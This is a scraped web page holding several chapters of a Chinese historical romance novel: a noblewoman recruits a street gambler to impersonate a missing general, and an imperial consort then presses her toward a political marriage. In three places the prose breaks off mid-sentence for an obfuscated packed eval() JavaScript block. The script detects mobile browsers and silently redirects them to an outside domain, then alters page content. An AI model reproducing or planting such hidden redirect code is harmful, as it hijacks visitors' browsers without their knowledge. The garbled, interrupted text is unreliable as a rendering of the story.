只可惜这其中再是有什么关窍也好,对她这种赌场新手而言,却也毫无用处。 想到这里,温沉吟心下微叹,轻轻将它放在了骰盅里。 随手摇了几下后,没等骰子停止转动,她便已动作飞快地掀开了骰盅。 烛影晃动之下,那枚骰子余力未竭,滴溜溜地又转动了好一阵,像是有一双无形的手在他们的命运推向未知的方向。 待到最终力竭之时,那枚骰子翻面朝上的竟也是一个红艳艳的六点。 面对这意料之外的结果,马小六如遭雷击一般,彻底僵在了原地。 温沉吟见状,顺手将那枚骰子捡了起来,递回了他的手中:“既然命运如此安排,你可就得跟我走了。” “现在吗?” 有温珩在场的情况下,马小六再是不情愿,却也不敢耍赖,只是声音听上去却有些犹犹豫豫地:“这大晚上的,事情又来得这么突然,你总得给我点时间收拾收拾吧?要不去了你那儿,我连个换洗的衣服都没有,那可就麻烦了……” 虽然对方那些又脏又臭的破衣服到了温府大概是没有一件用得上,温沉吟还是善解人意地的点了点头:“既然如此,你就先准备着,等收拾好了,便在这间房子里等着,晚些时候会有人过来接你……我们姐弟还有事,便先告辞了。” 出了铜雀楼的大门,夜风徐徐而来,很快将赌坊间那嘈杂不堪的污浊气吹了个干净。 温沉吟在夜色中缓步而行,像是在享受这来之不易的清净。 温珩跟在她身侧,几度欲言又止,最终还是忍不住提醒道:“姐姐,我看那马小六性子奸猾,未必肯老老实实地跟我们走。卫宁过来之前,我要不要先看着他?你明日便要入宫,贵妃娘娘必定会提起联姻之事,若是马小六此时偷偷溜走,便不好应付了……” “不必。” 温沉吟摇了摇头,口气却很笃定:“他若有心要走,咱们谁也拦不住。何况他若非有意留下,也就不会和我们赌这一局了。” 温珩闻言只觉感叹:“也是……俗话说人为财死,鸟为食亡。没想到他为了那五千两银子,竟是真的愿意豁上性命赌这一局!” “银子?他之所以愿意赌这一局,可不只是为了银子。” “不为银子?那为了什么?” “为了活命!” “可你不是答应过他,即便他不赌,也不会杀了他吗??” “我是答应过他,而且也没打算食言……” 温沉吟停下脚步,口气中却带上了几分凉意:“但既然我已经表明态度要介入此事,他以后就很难再独善其身了,不是吗?” 虽然答应了不杀他,但联姻之事迫在眉睫的情况下,温沉吟并没有打算放弃马小六这根救命稻草。 因此,她一边安抚对方,一边也态度委婉地向对方提出了警告。 一个混迹于底层的小混混忽然能得到富贵人家小姐的关心照拂,必定会引发不少关注,再加上她暗中推波助澜,马小六与裴瑾样貌相似一事,很快就会闹到人尽皆知。 裴瑾是闻名天下的战神,无论是对大燕或是敌国,都是十分要紧的人物。 如今生死未卜的情况下,样貌和他如此相似的马小六,必然会成为许多有心人所关注的目标。 留在她身边假扮裴瑾,虽然一旦事情败露,便会有触怒天颜、人头落地的危险,但至少还有上桌赌一把的机会。 若是无人庇护,落在了有心人的手里,那结局是生是死,可就是谁也不知道了。 虽然知道自己的姐姐向来心思深沉,但三言两语之间就给马小六挖下了这么一个坑,还是让温珩又惊又佩:“这道理虽然简单,却也不是一时半会就能想明白的,那马小六能在那么短的时间里权衡利弊,做出选择,倒也算是有些本事。” “毕竟是性命攸关之事,他若没这点本事,光凭一张脸,我倒是也不敢在他身上下注。” “可他性情如此狡猾,放在身边,会不会有危险?” 想到马小六那满是市侩的模样,温珩终究还是觉得不放心:“那小子生性贪婪,又非诚信之人,如今为了保命被迫入局,将来会不会出卖咱们?” “这个我还不清楚,但眼下别无他法,也只能走一步看一步。” 温沉吟抬起眼睛,看向了远方深邃的夜色:“不过我总觉得,就他今日的表现,前几日会当街被卫宁撞上,大概也不是巧合二字可以解释的了。” 4. 沐浴 丑时将近,沸反盈天的天启城终于到了一天中最宁静的时候。 地处城西的温府大宅内,却在护卫首领卫宁的安排下,悄无声息地迎来了一位特殊的客人。 从踏进温府的第一刻起,马小六的目光就没有半刻闲下来过。 虽然在初见温沉吟时,他便已认定对方是有钱人家的千金小姐,但眼下这栋满是气派的宅院,还是让他意识到,对方的身份来历,或许比他事先想象的还要贵重得多。 绕过了暗香浮涌的小花园后,卫宁在府院西向的一间小屋前停下了脚步。 紧接着,几个年轻的侍女已经主动迎了上来:“公子既然来了,就先请沐浴更衣。水已经给您备好了,还请公子移步内室。” 马小六手里紧抱着一个装了几件旧衣服的包裹呆呆站在那,一时间还没反应过来。 直到几个侍女半推半揉地将他送进屋内,看到了屋子中央那个水气腾腾的大木桶,他才骤然惊觉:“你们这是干什么?怎么刚来就让我洗澡?” 话音刚落,其中一名侍女已经将手伸向了他的腰间,开始为他宽衣解带:“公子勿要多心,这是咱们小姐特意交代的,说是您在外面奔波多日,好好洗个澡,也能睡得舒服些。” 马小六被一群年轻的侍女包围着,脱衣服的脱衣服,解发髻的解发髻,有心想要拒绝,一时间却又不知该先阻止哪一个。 待到外衫被脱下,头上那个乱七八杂发髻也已经被拆散,他终于意识到这澡不洗怕是不行了,一声长叹之后,便彻底放弃了抵抗,看向侍女们的目光里,也多出了几分暧昧:“想让我洗澡也不是不可以,但我有个条件……” “公子请说。” “你们都得留下来陪我!” “那是自然!” 面对他的轻佻言辞,侍女们却都表现得很淡定:“小姐说了,公子初来乍到,奴婢们一切都要侍奉好。公子既是要我们作陪,我们留下来便是了。” 卫宁站在的西院的大门前,眉头始终紧锁着。 一墙之隔的地方,不时有隐隐的调笑声随着夜风的吹拂传来。 那满是轻浮的腔调听在耳朵里,让他止不住又是嫌恶,又是烦躁。 数日之前,他因替温珩办事,去了一趟城南的登良巷。 不料事情还来得及办,巷口处却先一步跑出了一个正在被人追打着的小青年。 市井之中,平民百姓因为一些鸡毛蒜皮之事产生口角,甚至动手厮打的事并不少见。因此,在得知对方是因为赌钱出千才会被人追打后,卫宁原本也没打算多管闲事。 然而那青年像是被追得久了,已然犹如惊弓之鸟,在他附近来来回回地绕了几圈后,竟是腿脚一软,直接在他身前跪了下来。 随着追打之人步步逼近,对方大概是发现自己实在无法逃掉,仓皇之下,他干脆一把抱住了卫宁的大腿,大声呼救了起来:“这位大哥,求你救救我,我再被打下去,可就要没命了!你若大发慈悲救我一命,下辈子我必定做牛做马,报答你的恩情!” 对这种热衷于混迹赌场的小混混,卫宁原本就没什么好感,眼下被他满是无赖的纠缠着,更是觉得心烦。 几经拉扯之下,他将脸一沉,正打算把人推开,目光落到对方脸上的那一瞬,却忽然愣住了。 那是让大燕将士爱戴尊崇,也让敌军闻风丧胆的一张脸。 自家那个心思深重,且喜怒不形于色的大小姐,在见到这张脸时,也会难得一见地露出妩媚娇羞的小女儿情态。 可是就在三月之前,燕庆两军在涧云峡的那场大战之后,那张脸的主人却忽然消失,就此音讯全无。 万万没想到的是,就在所有人都以为他已经秘密死于敌军之手后,那张脸却会忽然出现在大燕帝都的一处陋巷之中。 满心惊诧之下,卫宁以银子为代价,安抚下了那些追打的人群。 然后又把那个小混混送进了巷子附近的一个医馆,打算让他把伤势处理好后,再细细询问。 不想对方大概是担心卫宁赔出去的那些银子最后还是要落到自己头上,于是中途借口要去茅厕,便脚下抹油,溜了个无影无踪。 开溜之前,他甚至还顺手牵羊地偷走了卫宁的荷包。 卫宁原本是温北堂身边的一名亲兵,因为精明能干,又十分忠心,在一次因公受伤后,便被温北堂安置在了府中,照顾自己的一双儿女。 身在温府的这些年,他一直深得温氏姐弟的信任和尊重,温珩更是将他视作兄长一般,言行间从未有过半点轻慢。 如今一时不查,竟然好心当作驴肝肺,被一个下三滥的赌鬼小混混摆了一道,不由得让他又怒又悔,气郁难平 只是想到那个小混混的身份来历,他也无心再在这些细枝末节的事情上多加纠缠。 经过一番打探,得知对方常日混迹在铜雀楼赌钱后,他没有再耽误下去,第一时间就把这个消息带回了温府。 原本他只是抱着千万分之一的希望,或许能从这个小混混那里得到一点裴瑾的消息。 即便天不眷顾,最后发现这个小混混与他们一心想找的那个人并无关联,大家也不过是会失望一场而已。 然而万万没想到的,温沉吟在得知这个消息之后,竟是动起了李代桃僵的心思。 卫宁心里很清楚,自家这个大小姐自幼便心思深沉又性格倔强,一旦决定要做的事,便无人能够阻挡,如今温北堂远离帝都的情况下,整个温府更是无人敢违逆她的想法。 可眼下发生的一切,却还是让他感觉到了深深的不安。 为了逃避联姻,温沉吟甘冒欺君罔上,触怒天颜的风险行此大逆不道之举,已经很让人头疼了,偏偏那个马小六也是胆大妄为,不知天高地厚。 这才刚进入温府没多久,他便将温沉吟身边的侍女留下来侍奉他沐浴,嬉笑之间,甚至还哼唱起了风月妓馆里流行的淫词艳曲。 那种得意忘形的模样,仿佛丝毫不曾意识到自己究竟身在怎样的处境中。 那一刻,卫宁甚至不知是该羡慕他的无知无畏,还是该愤恨于他的愚蠢轻浮。 思绪纷扰之间,喧闹声渐停。 片刻之后,几个侍女鱼贯而出,一改不久前巧笑嫣然的模样,面色肃穆地候在了院门旁。 温沉吟似乎算准了时间,不待多时,便与温珩一起踏月而至。 见她出现,其中一名侍女踏步向前,行过礼后便沉声表示:“启禀小姐,马公子沐浴完毕,如今已在房中歇着了。” 温沉吟点了点头:“可有发现什么异常?” “没有。” 那侍女显然有所准备,声音听上去很是笃定:“侍奉马公子沐浴的过程中,我们已经仔细检查过了,马公子身上伤痕虽多,但脸上却并无易容的迹象。只是……” “只是什么?” “只是他颈中挂了一枚骰子,似乎很是珍贵。无论我们如何劝说,他也不肯摘下来。” “这倒无妨,那枚骰子我之前已经查验过了,他若不肯摘下,也就由着他吧!” 一番话说到这里,不仅卫宁满是震惊,就连温珩也面露诧异:“姐姐特意安排人为他沐浴,只是为了确认他是否易过容?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221097|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那是自然。温府又不是烟花之地,难道我还能让他在这左拥右抱地享齐人之福?” 一声冷哼过后,眼见卫宁嘴唇微张,一双眼睛直愣愣地看着自己,似乎尚未完全明白,温沉吟放缓了口气,耐心解释道:“瑾哥生死不明之际,一个与他样貌如此相似之人却忽然出现在帝都,又刚巧被我们发现,此事实在太过巧合,我总得确认一下他的脸是不是真的!更何况,我又不是没被这样算计过……所谓吃一堑长一智,既然吃过亏,眼下多留点心,总是好的。” 听她忽然间提及往事,温珩只觉得心下一酸,赶紧劝慰道:“姐,当年你年纪尚幼,对方又是易容高手。最后母亲出了意外,那也不是你的错……” “当然不是我的错!” 温沉吟闻言,再次哼声冷笑了起来:“我是有眼无珠,轻信了贼人,累得母亲受苦……可若非他言而无信,薄情寡义,又哪里会让贼人有可乘之机,最终害得母亲丢了性命!” 那个让温沉吟满心愤恨,介怀至今的那个“他”并非旁人,正是她的父温北堂。 只是那场导致她母亲离世,父女离心,甚至促使她执意将“温琇”改名“温沉吟”的重大变故向来是温府的禁忌,此刻听她旧事重提,旁人都难免有些心惊。 一片静默之间,温沉吟像是意识到了自己的失态,很快收拾好了情绪,将口气缓和了下来:“你们忙到现在也辛苦了,都早些回去歇息吧。” 温珩从她若有所思的表情中嗅出了未言之意,不由得紧张了起来:“姐,那你呢?你还不打算休息吗?” “当然。既然卫宁已经把人带回来了,我总得过去瞧瞧,顺便把该交代的事都交代清楚。” “可是……” “没什么可是的。” 没等温珩把话说完,温沉吟已经斩钉截铁地打断了他:“阿珩,你要记清楚,眼下之事,不仅关乎我的婚约,更是关系到裴叔叔一家的声誉和涧云峡一战背后的真相!我们既已决定要做,那就不能再瞻前顾后,犹豫不绝。所以从此刻开始,他便不再是马小六,而是裴瑾,知道了么?” “是……” 听她说得严厉,温珩不敢怠慢,当即肃声表示:“姐姐放心,你说的话我都记下了。从现在起,我定会谨言慎行,不再让你烦心。至于府中的下人,我也会一并管束好,绝不会让他们对今夜之事胡乱议论半个字。” “如此这般,那便最好。” 温沉吟清楚自家弟弟年纪虽轻,性格却很稳重,会在马小六一事上踌躇犹豫,也是因为太过关心自己。 此刻见他态度坚定,显然是明白了事情的轻重,这才彻底放下心来。 卫宁听到现在,虽然知她心意已决,却依旧觉得忐忑不安。 踌躇之下,见她准备进屋,便迅速在她面前跪了下来:“小姐,那姓马的小子性情轻浮,又不知轻重,您要独自见他,实在太过危险。若您有事要交代,也请让属下在门前守着,若是出了什么意外,也好有个照应……” 话音未落,温沉吟已经漫不经心地打断了他:“你方才说什么?” 卫宁心下一凌,立马改口:“属下的意思是,云麾将军失踪已久,如今重回帝都,难免会有些需要照应之处,有属下在旁边候着,大概也方便些!” “这个无妨……” 他这知情识趣的表现终于让温沉吟露出了一点笑容:“瑾哥自幼征战沙场,什么问题没遇到过?如今身在温府,自然更不会为难于我……至于你们,就先下去休息吧,等明日我入了宫,陛下和娘娘们知道了瑾哥回来的消息,你们可就有得忙了!” 5. 心刺 马小六/四仰八叉地躺在床上,手里捧着一只鎏金花瓶,在细细打量着。 虽然不久前,他才在一众侍女的服侍峡舒舒服服地洗了个热水澡,如今又换上了一套崭新的衣裳,身下的床榻更是干净整洁,柔软得如同躺在云端上一样,但他却兴奋得怎么也睡不着。 这栋府宅里的好东西实在是太多了,光是他手里拿着的这个鎏金花瓶,拿去市面上,大概就能换不少银子。 若是能找到机会,把那些烛台茶具之类的东西一起搜罗了带出去,大概能让他开开心心地赌上好一阵。 只是这府中戒备森严,将他接进来的那个护卫统领又总是臭着一张脸,模样看上去凶巴巴的。 若是他真的与温沉吟成了亲,想要从这府走中出去,还不知道要等到什么时候…… 他这边还在浮想联翩,随着“咯吱”一声响,房门已经被人推开。 马小六骤然一惊,赶紧手忙脚乱地把那只花瓶塞到了被子里。 等他发现来人是温沉吟后,这才重重松了一口气,赶紧一边跳下床,一边挤出了一脸笑:“搞了半天是你啊?吓了我一跳……不过都这么晚了你怎么还没睡?找我有事么?” 温沉吟不置可否地笑了笑,目光却不由自主地落在他的身上。 大概是因为刚刚洗完澡,又换上了一身新衣服,这小混混从头到脚像换了个人一般,看上去清爽了不少。 烛火摇曳之间,他原本就端正俊秀的五官越发显得风神俊朗,英气勃勃,竟是让温沉吟产生了眼前人就是梦中人的错觉。 只是很快的,对方那一脸轻浮的表情,还是让她清醒了过来。 “倒是没什么要紧事,就是想问问你,这地方住得还习惯吗?” “习惯习惯!” 说起眼下的处境,马小六瞬间来了精神:“我长这么大,还没住过这么好的地方呢!这屋子就不说了,就算是刚刚那只花瓶拿去卖了,也够我吃喝不愁好一阵。早知道你家如此气派,我直接跟你回来便是,那里还用赌上那么久……” 这人一心只惦记着银子,对于自己的生死安危却毫不关心,一时间到是让温沉吟事先准备好的安抚之词没了用武之地。 无奈之下,她也只能随口敷衍道:“一只花瓶而已,也不是什么要紧的东西。你若喜欢,我让他们再给你送点过来。” “真的?” 见她如此大方,马小六也不再藏着掖着,当即开始狮子大开口:“既然如此,我看那银质的烛台也不错,还有桌子上的酒杯茶具,柜子上的琉璃摆件……若是你那有多的,都可以往我这儿送,我统统都喜欢!” 想来这小混混出身不高,见识也有限,有心想要敛财占便宜,所关注的也无非就是零零碎碎的小玩意。 若真要计较起来,挂在墙上的那几幅名家字画,到是比他点名索要的这些东西要值不少钱。 温沉吟心下不屑,口中却不说破,随口答应之后,便轻声提醒道:“吃穿用度方面的要求你尽管提,就是一点……方才我听侍女说,你身上戴着的那颗骰子怎么也不肯摘下来?” “那是自然,这东西对我来说可是很重要的。” “不过是一颗骰子而已,为何如此重要?是因为有什么特别的来历么?” “你问这个啊?那说来话就长了……” 像是没料到她会忽然关心起自己身上的骰子,马小六的神色变得有些紧张,下意识就将它紧紧握在了手中:“这颗骰子是我一位朋友送的,我特意拿去庙里开过光的,庙里的大师傅告诉我,要保赌运亨通,就要一直贴身戴着,要是丢了,我的赌运也就要跟着完蛋了!” 寺庙里的得道高僧会为赌具开光,这话一听就是在胡说八道。 见他如此不老实,温沉吟也没了耐性,很快便冷声警告道:“你的赌运会不会完蛋我不清楚,但你既然进了温府,若再戴着这么个玩意四下招摇,完蛋只是迟早的事。” “为什么?” “你说呢?” 在她一脸嫌弃的注视下,马小六“啊”了一声,终于反应过来了。 既然进了温府,他的身份便从赌场混混变成了裴瑾。 那个出身高贵的青年将军身上佩金佩玉都不奇怪,但无论如何不可能会佩带一颗骰子。 想明白了这个道理后,马小六再是不情愿,也只能小心翼翼地把那颗骰子塞进了内衣里,嘴里还不忘嘟嘟囔囔地抱怨道:“这地方不是你说了算吗?我看刚才进来的那些人,也没人管这事啊!你又何必那么紧张?” 温沉吟低声叹了口气:“这府中如今的确是我说了算,但一旦我明日进宫,陛下知道了瑾哥失踪归来的消息,后面会发生什么,可就由不得我了。” “什么???陛下???” 马小六闻言一愣,立马紧张了起来:“听你这意思,陛下该不会是要见我吧?我听说在他面前规矩可多的很,一旦说错了话,可是立马就会掉脑袋的!我帮了你这么大个忙,你可不能不管我……要不你去和那老皇帝商量一下,能不见的话咱们就别见了?” 对于他那些不知天高地厚的要求,温沉吟只觉的十分厌烦。 但眼前的危机还需要对方帮忙,她也只能耐着性子为他宽心:“陛下身份尊贵,若知你病重,就算要见,也不会急于一时。只是吧……” “只是什么?” “只是瑾哥失踪已有三月,听闻他忽然归来,陛下定会遣人过来探望,到时候免不了还是要应付一番。” “啊?” 短短几句问答之间,马小六的心情已经忽上忽下地翻腾了好几轮。 此刻听闻还是摆脱不了被盘问的命运,只觉得腿脚都软了:“若是老皇帝真的派人来了我该怎么办?莫说行军打仗的那些事我都不懂,就算云麾将军身边那些家长里短之事,我可也都不知道啊!到时候说话露馅了,岂不是要掉脑袋吗?” “这些问题难道你现在才想到吗?” “我不是想着有你在吗……所以就没想那么多嘛。” “那你现在知道了,打算怎么办?是想要甩手不干了吗?” “看你说的……我是那么不讲诚信的人吗?” 眼见他虽然神色惊惶,眼睛却不断四下偷瞄着,显然不舍得就这么放弃眼前的荣华富贵,温沉吟这才叹声表示:“瑾哥母亲早逝,父亲又已战死,若是有不得不见之人拜访,你便装作因伤失忆,什么都想不起来便是了。” “你说的这法子……能应付得过去吗?” “此事你在赌,我也在赌。既然选择上了赌桌,哪有什么十拿九稳的事?一切全凭运气而已。这个道理你应该懂得。” “那倒也是……” 有了温沉吟的这番话,马小六总算是宽心了不少。 沉默了一阵后,他才小心翼翼地再次开口:“你既能进宫见皇帝,又能和声名赫赫的云麾将军结亲,身份想来也不一般。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221098|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今咱们也算是绑在一条船上了蚂蚱了,你能不能和我说说,这里究竟是什么地方,你又究竟是什么人?” 从赌坊初见,谈论李代桃僵的话题开始,到如今坐在了府里,大半个夜晚都已经过去了,此人居然才想起要关心这个问题。 一时之间,温沉吟都不知道是该赞他情绪稳定,还是恨他心大无知。 虽然一直以来的怨恨情绪,让她并不想提及自己的身份,但事已至此,有些事还是需要交代清楚:“这里是当朝侍卫司统领的府邸。” 马小六恍然大悟,口气又是惊叹,又是艳慕:“这么说来,你便是侍卫司统领家的千金了?难怪行事如此威风……光你这出身,便不知有多少人羡慕!” “是吗?” 温沉吟双眼微阖,波澜不惊的表情中多出了一份微妙的恨意:“如果可以,我倒是宁愿不做他的女儿。” 这句话实在太过大逆不道,即便马小六如此胆大妄为,一时间也不禁瞳孔震动。 但察言观色之下,他也知道有些话不便追根究底,于是只能哼笑着表示:“你爹这官职也不低,而且又能时时见到皇上。你若实在不想嫁去凉国,不如让他在老皇帝面前求个情,也免去了你各种折腾不是?” 温沉吟心中不屑:“你不了解我爹,对他而言,君王之命不可忤逆,能得陛下为他的子女赐婚,便是光耀门楣的至上荣宠。至于赐婚的对象究竟是哪一个,对他而言并不重要。何况平阳王世子地位尊崇,声明显赫,他又有什么拒绝的理由?” 马小六似是有些不服气:“可是做父母的哪有不疼爱自己孩子的?这些话也不过是你自己揣测而已,你若去求求他,说不定会有转机呢?” “不必了!我爹如今远离帝都,消息若是传到他那里,只怕陛下的旨意早已经下来了!” 听他一劝再劝,温沉吟只当他是心中后悔,想要借此抽身。 烦躁之下,说话之间也多出了几分刻薄:“而且说起父母之爱……你不是一生下来就被抛弃了么?就算是这样,你也依旧觉得他们是疼爱你的吗?” 话音刚落,马小六那张一直嬉笑着的脸像是被人重重抽了一巴掌,骤然扭曲了起来。 温沉吟自知话说得太重,歉疚之下,一时间也没有再吭声。 对方再是卑微低贱也好,在父母亲情上的遭遇,只会比自己更不堪。 自己都满心耿耿,难以介怀的情况下,又何必再去刺伤他人? 长久的沉默之后,温沉吟轻声叹了口气,把口气放软了些:“我心情不好,方才说错了话,你不必介意。若你现在还不困,我便把你入府之后要注意的事,和你交代清楚。” 马小六“嗯”了一声,犹犹豫豫地在她面前坐下。 然而就在温沉吟正打算开口时,他却像是下定决心一般,忽然抬起了头:“那个……有句话我想告诉你。虽然我自幼被抛弃,从未见过自己的父母,但此中必有不得已的原因。即便我不在他们身边长大,但我相信他们一定时常惦记着我……” 他这几句话说得磕磕巴巴,也不知是太过激愤,还是迫于温沉吟的威势,而显得战战兢兢。 但这自欺欺人的模样,却还是让温沉吟心中泛起阵阵酸楚。 眼见对方眼巴巴地看着自己,似乎想要得到她的肯定,温沉吟点了点头,给了他一个想要的回应:“是……我也相信,在这世间的某个地方,一定是有人在惦记着你的。” 6. 朔漠明月 次日巳时,景阳宫内。 温沉吟坐在正殿下首,眼观鼻,鼻观心,安静地品尝着侍女刚刚端上来的一盘果子。 “这些枇杷是前些日子本宫的兄长特意遣人快马加鞭,从凉国送来进献给皇帝陛下的。陛下顾念本宫远离家乡,定是想念得紧,便往我宫里送了不少。送到之后我一直用冰镇着,倒也还新鲜……阿吟你赶紧尝尝,看看还喜欢吗?” 端坐在正殿上的,是一位身着华服的美妇人。 眼波流转之间尽是妍态,正是如今宠冠六宫的大燕贵妃银骊姬。 自武曜帝魏栩明登基之后,周边列国为表敬顺,陆续进献了不少美人。 武曜十年,魏栩明四十一岁生辰那日,年方十八岁的银骊姬被凉国太后作为一件贺礼,送进了燕国宫中。 银骊姬尚在凉国之时,便因出色的美貌而盛名远播,魏栩明得见之后,自是一见倾心,宠爱非常。 只是帝王之心素不长久,宫中的妃嫔也多的是盛宠之后,一朝失势,便被打入冷宫,从此万劫不复的时候。 这银骊姬虽然貌美,但毕竟来自蛮荒之国,与自幼便被调教得知书达理的名门闺秀自是不可同日而语。 传闻进宫之前,甚至还因为与青梅竹马的心上人分离而大闹了一场。 因此即便她再受宠爱,却也没人将她放在心上。 就连皇后也冷眼旁观着,就等着魏栩明新鲜劲过去后,她被彻底冷落的那一天。 不料进宫之后的银骊姬却是一路攀升,盛宠不断。 时至如今,地位已然形同副后,权势之盛,甚至比常年缠绵病榻的皇后更要威风几分。 然而此刻在面对温沉吟,她却放下了宠妃的架子。 光看那轻言细语,满是关切的模样,仿佛淳淳叮嘱着的不是一个普通的朝臣之女,而是自己的亲女儿。 温沉吟闻言不敢怠慢,赶紧恭声表示:“多谢贵妃娘娘,这枇杷果肉细腻,滋味清甜,是难得一见的美味。臣女也是承蒙您的恩赏,才有机会吃到这么好的果子!” “哎呀,阿吟就别和我见外了。若是喜欢,一会我让人备上一些,你带回去也让温珩也尝尝!” 银骊姬和她闲聊了一阵,见她始终不卑不亢,言谈之间也没有主动和自己套近乎的意思,忍不住主动试探道:“方才进门之时,本宫发现你眼底淤青,神色也颇为憔悴,是昨夜没休息好么?” 何止是没休息好…… 为了向马小六说清楚接下去的时间里,他究竟需要如何扮演好裴瑾的角色,温沉吟和他长谈了整整一夜,直至晨曦初显,才回房收拾了一番,匆匆进了宫。 如今她虽因满心警惕,并无困意,但眼底的淤青,还是暴露了她一夜未眠的事实。 此刻面对银骊瑾的试探,她不慌不乱,只是低声应道:“多谢贵妃娘娘关心,臣女只是因为惦记父亲的身体,心绪难安,昨夜才会睡得晚了些。今日在贵妃娘娘面前失仪,还请娘娘赐罪。” 涧云峡之战结束没多久,温北堂就被一旨调令调遣至大燕北境监军,此事在朝中引发了不少议论。 有人说,因为燕国大军在涧云峡一战中死伤惨重,身为主将的裴氏父子更是一个阵亡,一个失踪,以至于前线军心不稳。为了重振军心,大燕皇帝魏栩明才会派遣自己身边最信任的武将前去监军。 也有人说,温北堂这番调职,是因为他怀疑朝中有人出卖了军情,才会让涧云峡一战打得如此惨烈。为了保边境平安,并查出幕后真凶,他才会主动请缨,远走边关。 还有人揣测,侍卫司统领一职原本理因由皇帝最信任的人担任,但温裴两家子女之间的婚约,一直让魏栩明心有猜忌,因此才会顺水推舟找了个借口,将他踢出了帝都的权力中心。 这其中的真相究竟如何,谁也不清楚,但温家父女向来关系不睦,温沉吟又一直是叛逆不驯的代名词,眼下这番解释被她说出来,显然是口不对心,带着敷衍的意思。 银骊姬却像是未曾觉察,长叹一声之后,一直笑意盈盈的脸上适时露出了几分同情:“温大人年事已高,又旧疾缠身,本因留在家中好好养理才是。只是庆国大军频频生事,北境边关实在需要有勇有谋的忠臣良将驻守。陛下此举,也着实是因为看重温大人……” “贵妃娘娘说的是!” 温沉吟实在不想看她那副虚伪的面孔,迅速将话接了过去:“父亲曾经说过,食君之禄,忠君之事。陛下既如此信任,父亲定当鞠躬尽瘁,不负所托!” “难得你这样懂事,也不枉本宫如此看重于你!” 一番话说到这里,银骊姬自认也铺垫得差不多了,当即话锋一转,竟是和她论起的天下局势:“虽说后宫不能干政,但身为妃嫔,眼见陛下为天下忧思,本宫难免心下不安。眼下风烟四起,战乱不断,庆国更是狼子野心,不断对我大燕起兵挑衅,虽说有温大人这样的忠勇之将,但毕竟也非长久之计。更何况战事凶险,胜败只在瞬息之间,若是哪一天,温大人也陷入到虎贲将军父子那样的境地,陛下又如何能够安心?” 听她提及裴氏父子,温沉吟只觉得心中一痛,捧着茶盏的手不由自主地紧了紧,但表面依旧不动声色:“贵妃娘娘说这些,可是想到了什么为陛下排忧解难的良策?” “我一个深宫妇人,在国家大事上,哪里有什么良策?” 银骊姬假模假样地感叹了一番,才继续说道:“只是本宫以为,两国之间的战事除了兵力之外,他国的态度甚是重要,若是能与强国结盟,共谋利好,想来庆国权衡利弊之下,也不至于轻举妄动……” 该来之事,终究还是来了。 在景阳宫里坐了大半个时辰,银骊姬此刻才开始为联姻一事搭台唱戏,也算是耐得住性子。 温沉吟心下冷笑,口气却恭敬依旧:“贵妃娘娘话中所指,可是您的母国大凉?” 银骊姬没想到她一阵见血,不由得愣了愣:“你倒是与本宫想到一处去了。” 温沉吟微微一笑,口气中带上了一丝嘲讽:“贵妃娘娘端慧贤明,又得圣心,自然是思谋长远,臣女生性愚钝,能与贵妃娘娘心意相通,实在是臣女的福气。只是贵妃娘娘原本就生于大凉,当今的大凉太后又是您的亲姑姑,有您从中调和,想来大凉与我燕国之间,必会和平共利,盟义永存。” 凉国地处陆地西向,虽说国土辽阔,但凉国境内许多地方常年冰雪堆积,不宜居住,以至于城郡分散,难以形成统一有效的政治管理。 即便历代君主之中不乏才华出众且野心勃勃之人,但受限于诸侯们各自为政的状态,依旧只能在群狼环伺的环境中求生存。 时至凉国新君楚弁登基,因年纪幼小,君威不足以服众,诸侯与朝臣们各怀异心之下,朝局很快陷入了动荡之中。 为保局势安稳,凉国太后银娍云一边暗中培养自己的势力,一边将自己的亲侄女银骊姬作为礼物,进献给了大燕皇帝,以此来为自己的家族争取支持和庇护。 而素有“朔漠明月”之称的银骊姬,并没有辜负家族的希望。 身在燕国的二十多年里,她凭借着各种谋算手段,一路隐忍攀爬,从一个普通的宫嫔位及贵妃,不但深得魏栩明的宠幸,还为他生下了一个皇子。 银氏一族在凉国的皇权地位,也因为她的存在而得以稳固。 只是如今的她看上去虽是风光无限,所得结果也都是她的家族所期盼的,但她心里清楚,终其根本,她不过只是权力战争中的一件筹码。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221099|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些风光和权势,是她以青春、爱情、眼泪和无数煎熬换来的。 如今温沉吟的这番话说得虽是恭敬又体面,却戳中了那些她刻意忽略,却深埋在心中的隐痛。 愠怒之下,银骊姬也不再与她绕圈子,当即哼声表示:“你有如此见解,本宫甚是欣慰。只是你也清楚,如今燕凉两国虽然交好,但庆国那边却也一直对凉国的权贵势力进行拉拢。长此下去,虽说我大凉皇族对陛下绝无二心,但朝臣们的想法,可就难说了……” 